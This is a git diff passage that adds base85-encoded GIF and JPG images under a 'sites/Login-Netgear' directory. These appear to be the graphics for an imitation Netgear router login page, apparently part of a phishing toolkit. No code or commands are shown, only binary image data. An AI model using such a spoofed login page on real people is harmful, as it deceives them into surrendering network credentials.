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 d>)r8iJCXK!WaO!`aet7?EL@$ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/main-page-bottom.gif b/sites/Login-Netgear/img/main-page-bottom.gif new file mode 100644 index 0000000000000000000000000000000000000000..a79af6be5f0317090499f1158e0c68b00a21837b GIT binary patch literal 1594 zcmV-A2F3YDNk%w1VXOlt0E8Lg>F_ymWSSTwYv6MnsH` zjI6G#baHfDT3r18{5(E9Y;J5+R#c3NjO_00%*xDsdVFMNWK2p-l$MmVvb6vI|NsC0 z|NsC0|NsC0|NsC0EC2ui0IUNh000I4U?GkLl?6wYu4>D^ZVb2GM~;UbSkYKgNcTUh>MPmkc^U#laZ8{mYJ2Cn4FrOpr4|iq@kswrm3i_r>&~4tgo`M ztZotpX(JdA0s_3hzQMr5!o|eL#>vRb%FWEr&e71*($&=0*4fzG+TGmW-r?Zm;^pM$ z=IQ9`>h0|B?(y*R^7ZuVz!Sg&f$%5|&Pu3*244NG>c*|J?%Dj1QWf!hWV;L43l zcdp&Kc<<`X%XhEezJUJ<4orBk;lhXyD^ARKvE#;&A4`r*d9vlom@jM2%z3lt&Y(Yw z4o!Nr>C&iAtA?9F1cU(>U=NrbTej`mxM}OYy*oGW-@b$Q9uAzi@Z!jiD>u$OdGqDY zqeGwmyt;Jj)URvL&K`4`O1Pkf4r18gh7?{{;fEfEm?4NGipZgc z9hRu#i6pXUVu~)V2;+<>*4QGAH`@53jxzEXpAm*54mTBghXr`&=nryb|=9_TFDd(JY)@kRRc;>0+ zo_zM{=bwNED(Iku7Ha6Bh$gD&pcqu}z@v~xD(R$@R%+>`m}aW!rkr-_>8GHED(a}D zmTKy$sHUpws;su^>Z`EED(kGY)@tjmuvP%TuDtf@>#x8DE9|hu7HjOW$R?}ovdlK? z?6c5DEA6z@{#I-4wb*8>?Y7)@>+QGThAZy4+ZYo#w+i<^wzuX z1H0m@F97@Y%kRJb1`P1P0vAm1!3HOc@WKi=%<#hwM-1`A5?4&|#TI9b@x~f=%<;z_ zhYa$_B9~0^$tI_a^2#c=%<{`F#|-n#0_SV*%{b?*^Ugf??DNk+2Q4(u_zrFK(MTt) z^wLZ>?ex<+@5`&qRMTvA)mUGxb=F*O?RD2+e=T;{WRGoj*=V1wcG?b44fWe_$1V5V zbk}Y7-RQEt_TGB;&G+Aa2M+k)f)`Hs;f5!U_~Iu2Yct-EM=tr~lvi%~VQ)eMrP07IBCL999Qg$iyZ(@rh9E84PtLza>WTidf8|7Ply^4pu+`rt8Gj z5yxo6G9vMeWJIGG)5yj(x>1dAY-1eXC`UPpaaR(^0ROni$3FV;kAOs9YZ_2RKpOIp zh)g8@me>Fh1YnPJjN}|ASw~4$l9HCpBqld`$xdq0lbkf;9rG1{5isCaR#c=aSINp& z(rt+hKtlr@=gL~z@|L(9+6w{D$TXaimY@vgCx;ozVhYok#5|@llgUhEI`f!e+*K@d sQGfup;=v)^19>9P+<{|_DJ8^M()c^nh literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-bottom-2.gif b/sites/Login-Netgear/img/page-table-bottom-2.gif new file mode 100644 index 0000000000000000000000000000000000000000..36e8dbe758e77a562a969b89bc24d40afcdba701 GIT binary patch literal 241 zcmVC{};M1&{{R4hfPer100000A^8LW00000EC2ui05Jg!000D@kf2Gcy*TU5yZ>M)j$~<` zXo?7|q`q)0&vb3yR=^4h?*G7`aCqA#48){z$!ywofrN8Pty-z90AO&qdcWW>YBvA~ zq~f%Coj#lifUST{uiKNXavV^Y-~WJtDFOs~ds_ruf{Toe6$b>7aEEaM1q22Jgp!<{ ro}ZwhqNAjxrl+W>s;jK6uCJw+laz-#1F*Qcy1Tr+zQ4eolo0?s1)g#U literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-bottom.gif b/sites/Login-Netgear/img/page-table-bottom.gif new file mode 100644 index 0000000000000000000000000000000000000000..512c7b907c1dcf86288b23b791458f4a6f476544 GIT binary patch literal 450 zcmV;z0X_alNk%v~VQ2v$0OJ4v1OfzndVEAeM9j|2oSK|uVq_#HB#e%XOiE1T=Hz^S zeB9dHtgftda&#;zEKE*JEC2ui0B8Xq000F35XecZy*TU5yZ>M)j$~<`XsT*S>%MR- z&vb3yc&_h!@BhG{a7Zl5B*vt2$!t2G(5N(qoLaBgtai&KR=eP^cuX$is*6@Sv2Ls1 zY`8m4pWEg5dj78O^Z$E+eu995hJ}cPiieAdjE|0yje%cgmY0~Bnn9JDo}ZwhVx6L; zrl+Vvq^Yc}uB@xCva_^iv9-9lx>2{gzQ4dem21Jp#>X(d$ji*Q%FWQxsL#^X)|#=B zkdxcp+TYyZ-r?lq=Hlq(>Ejz!g#;*Y-~o(+AycY!f#5&_2MkuqoausrgBAf0 z(A=pKK>!y58l1dX5u?$fNQo*vx-=lx9=b)eq%^(Lb0qwftheApD{hx_|2)S15uJ+a40MikH#c& zscbTzPGeB8aEUqM%Ab-%fbDsU}JxoB@1tZoAWg`+1zr(-qtdKS;$`+(Xp{s$2tb?hpt+BDCa*mU^ znVq1zo1ebC!N9wpiw+}wy&Esgq@HKa&2o^@&C}MHDJ0jcMx;S>dA zbL-~h-=*^2^mEvu_4&y_0WHPufCH4y3@s@J^?@>%Fkv+w1V+`eFzneTgib8(!nim@ zpF literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-button-large.gif b/sites/Login-Netgear/img/page-table-button-large.gif new file mode 100644 index 0000000000000000000000000000000000000000..51f27bce07e0857bb0bf2622dc694832499e062d GIT binary patch literal 900 zcmV-~1AF{ONk%w1VTk}B0E7SlbZ)eahTMF5#GI1sjDpmBcD$U9?1X~Ul#b+tddz%s zyp)REq?YuAe#~@oyquEse0Ic?isXcT)Bphg000000000000000000000000000000 z000000000000000A^8LW000vJEC2ui0Eqw~000I4;3Q7WQ=Vpuu4>D^ZVb)T0q&+q&HfPsR8goTEOT@wZf28)f1j*OC#l#`Z~n3tNFoSUAVpr4|lq@$*#sHdu_ zr3kLCu#2v;lC!V0xVO5tytTf$y}-Y_!@I>9ZTNask0}~ zpFV>E9V)aa(W6F_dhE!wsne%Wqe`7hwW`&tShF%c(2*+vuVA~1{W>-**|TQTmR*aM zt=hJ5-^z8nmMd2Y5(wbcn|H6@zJU1({yR7@;lqX#7ha5*vEs&%4fAc_Sa5^9mkDIv zjJdOB&zwJt4ow=g>CvZ4qh77LHQvh&62zXJKz8lewsYg&eY>}A-@Jbd4^AAo@!`jd zBVSItL37))qsx}=e7g1O*r{v3zCAnl@7}|A9}k{9?F0hQt545mQNB%gZ zl146BB$7@h`6QE2Hfd#*SW>Cwltk|6fQ~CfYOAoaDr={sia_bDlH#iCuDtf@>#x8DE9|hu4m(1z a$R?}ovdlKSgRRX*EA6z@1opZ^2mm{|h0&w{ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-button.gif b/sites/Login-Netgear/img/page-table-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..bde1533437b6141f6e66d721313f7047408fb5a4 GIT binary patch literal 546 zcmV+-0^R*bNk%w1VTk|`0K@R+SK`md(w}D+OezJ+SuopjOU=0 z^q`gQ%Eb9}Zn}?%;eB_)hJV_rr^>>>;bUQ-Y-*{(!0vQ%!fa}>eS6AdWvTuC{r~^} z000000000000000A^8LW000{REC2ui0Eqw)000I5pe8a(X`X1Ru59bRa4fToC=$z% zEQ!whykm!29;IMd1E}PHjv|25wI1=wSyeqHM z@AJG}kKg+C>oFt6t5zwd>cgW6Ne8!A1xGJIkITIRF3v literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-icon.gif b/sites/Login-Netgear/img/page-table-icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..a35fa4e0bfc6a0241ee4d30510d501f7caf3056e GIT binary patch literal 150 zcmZ?wbhEHb>|u~#Si}GV|NsBr<@o8wl5dx$e|viF*WZ7Cfg*}OSr{1@*co&{DnM!( zn4>eIl>Zr=@?5>w;&rZjpu)l4l+1Z699lA8@B6S-tT6Y!TJ!rFe$#ym3OsbA`cEt= zI+%Xh{kCfVgAEmXm?!O=SNvT$D4ktryC|R0izk8n8jK9q04Wqi A@Bjb+ literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/page-table-seperate.gif b/sites/Login-Netgear/img/page-table-seperate.gif new file mode 100644 index 0000000000000000000000000000000000000000..2ac36dbf7af08abdf4add5e284371d1ed85bdf12 GIT binary patch literal 80 zcmZ?wbh9u|EMjD2IK;s4^y$;@-@jkIdR0qHivbDffY=~449v0|yY2`iP4Ha3*W&fr Y-TxCb`cg9IWvohT7O>bbiGjfy00jOTY5)KL literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/pvpn.jpg b/sites/Login-Netgear/img/pvpn.jpg new file mode 100644 index 0000000000000000000000000000000000000000..af563497e97651e4c22a7954372bcc65b90822d6 GIT binary patch literal 82901 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 